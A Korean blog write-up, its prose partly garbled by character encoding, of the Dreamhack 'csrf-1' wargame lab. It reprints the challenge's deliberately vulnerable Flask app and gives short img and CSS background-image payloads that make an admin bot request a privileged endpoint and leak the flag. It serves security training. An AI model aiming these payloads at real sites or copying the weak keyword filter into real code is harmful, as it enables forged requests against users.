๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: csrf-1

by Yun2๐Ÿ‘ 2023. 8. 21.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์—์„œ
CSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

 

 

#1


: 4๊ฐ€์ง€ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

@app.route("/vuln")
#...
    xss_filter = ["frame", "script", "on"]
    param = param.replace(_, "*")
#...

: '/vuln' ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ param๊ฐ’์ด ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: XSS ํ•„ํ„ฐ๋ง์ด ์ ์šฉ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์€ “*”๋กœ ์ ์šฉ ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

: '/memo' ํŽ˜์ด์ง€์—์„œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ „์†กํ•œ memo ํŒŒ๋ผ๋ฏธํ„ฐ ์ž…๋ ฅ ๊ฐ’์ด ๊ธฐ๋ก๋œ๋‹ค.

 

: '/admin/notice_flag' ํŽ˜์ด์ง€์—์„œ๋Š” IP ์ฃผ์†Œ๊ฐ€ "127.0.0.1"์ด ์•„๋‹Œ ๊ฒฝ์šฐ “Access Denied” ๋ฌธ์ž ๋ฐ˜ํ™˜๋œ๋‹ค.

: url์˜ userid๊ฐ’์ด admin์ด ์•„๋‹ ๊ฒฝ์šฐ “Access Denied2” ๋ฌธ์ž ๋ฐ˜ํ™˜ (userid๊ฐ€ admin์ผ ๊ฒฝ์šฐ ๋ฉ”๋ชจ request.args.get(”userid, “”)์— FLAG๊ฐ€ ์ž‘์„ฑ๋œ๋‹ค.

 

:  '/flag' ํŽ˜์ด์ง€์—์„œ๋Š” flag.html์„ ๋ฐ˜ํ™˜ ๋ฐ POST ์š”์ฒญ์—๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ xss๊ณต๊ฒฉ์ด ์กด์žฌํ•˜๋Š” ์ง€ ํ™•์ธํ•˜๊ณ  csrf๊ณต๊ฒฉ ๊ฒฐ๊ณผ ์ถœ๋ ฅ๋œ๋‹ค.

 

: ํŽ˜์ด์ง€๋ฅผ ๋ถ„์„ํ•œ ๊ฒฐ๊ณผ, '/admin/notice_flag?userid="admin"' userid์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ admin์œผ๋กœ ์„ฑ๋ฆฝํ•  ๊ฒฝ์šฐ ๊ด€๋ฆฌ์ž๋Š” ์ž๊ธฐ ์ž์‹ ์˜ ์˜์ง€์™€ ๋ฌด๊ด€ํ•˜๊ฒŒ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ๋Œ€๋กœ '/memo' ํŽ˜์ด์ง€์— ๊ธ€์ด(FLAG) ์ž‘์„ฑ๋˜๋Š” csrf ๊ณต๊ฒฉ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

#2


<img src="x">

 

<a href="x">

 

<div style="background-color:cyan; background-image: url('./x')">x</div>

: ๋‹ค์–‘ํ•œ ์ด๋ฒคํŠธ ํ˜•์‹์œผ๋กœ๋Š” ํ•„ํ„ฐ๋ง์ด ์ ์šฉ๋˜์ง€ ์•Š์€ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , '<'(๊บฝ์‡ ) ๋˜ํ•œ ํ•„ํ„ฐ๋ง์ด ์ ์šฉ๋˜์ง€ ์•Š์•˜์œผ๋ฏ€๋กœ ๋‹ค์–‘ํ•œ xss ์ต์Šคํ”Œ๋กœ์ž‡ ์ ์šฉํ•˜์—ฌ csrf ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

 

 

#3


<img src="admin/notice_flag?userid=admin">

 

<div style="background-color:cyan; background-image: url('./admin/notice_flag?userid=admin')">

: ์ด๊ฒƒ ์ด์™ธ์—๋„ ๋‹ค์–‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

โ€ป dreamhack csrf-1 ์—ฐ์Šต ๋ฌธ์ œ์—์„œ์˜ a ํƒœ๊ทธ๋Š” exploit ์ฝ”๋“œ ์ž‘์„ฑ์„ ๋‹ค์–‘ํ•˜๊ฒŒ ์‹œ๋„ํ–ˆ์ง€๋งŒ flag๋ฅผ ์–ป์„ ์ˆ˜ ์—†์—ˆ๋‹ค. ์„ฑ๊ณตํ•œ ๊ฒƒ๊ณผ์˜ ์ฐจ์ด๋ฅผ ์ƒ๊ฐํ•ด ๋ดค์„ ๋•Œ, ํ•ด๋‹น ํƒœ๊ทธ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅ ์‹œ ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์€ FLAG๋ฅผ ์–ป์„ ์ˆœ ์—†์—ˆ๋‹ค. ํ•˜์ง€๋งŒ ํ˜„์žฌ์˜ csrf์ทจ์•ฝ์ ์— ํฌํ•จ๋˜๋Š” ๋ถ€๋ถ„์€ ํ™•์‹คํ•˜๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

 

๐Ÿ“ŒSummary


CSRF

์‚ฌ์šฉ์ž๋ฅผ ์ง์ ‘ ๊ณต๊ฒฉํ•˜๋Š” XSS ๊ณต๊ฒฉ๊ณผ๋Š” ๋‹ฌ๋ฆฌ ๋‹ค๋ฅธ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž์—๊ฒŒ ํŠน์ • ํ–‰๋™์„ ์œ ๋„ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•

 

ํ˜„์žฌ ๋ฌธ์ œ์—์„œ๋Š” frame, script, on๊ณผ ๊ฐ™์€ ์„ธ ๊ฐ€์ง€์˜ ํ•„ํ„ฐ๋ง์ด ์ ์šฉ๋˜์–ด ์žˆ์ง€๋งŒ ์ด ํ•„ํ„ฐ๋ง ํ‚ค์›Œ๋“œ ์ด์™ธ์˜ < , >(๊บฝ์‡ ), ๋‹ค์–‘ํ•œ ํƒœ๊ทธ๋“ค์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์šฉํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด xss ๋ฐ csrf ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํ•„ํ„ฐ๋ง ์‹œ ๋‹ค์–‘ํ•œ ๊ด€์ ์„ ๊ณ ๋ คํ•˜์—ฌ xss ๋ฐ csrf ๊ณต๊ฒฉ์„ ๋Œ€์‘ํ•ด์•ผ ํ•จ

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: simple_sqli  (0) 2023.08.22
[Dreamhack] Level1: csrf-2  (0) 2023.08.21
[Dreamhack] Level1: xss-2  (0) 2023.08.19
[Dreamhack] Level1: xss-1  (0) 2023.08.19
[Dreamhack] Level1: Session-basic  (0) 2023.08.17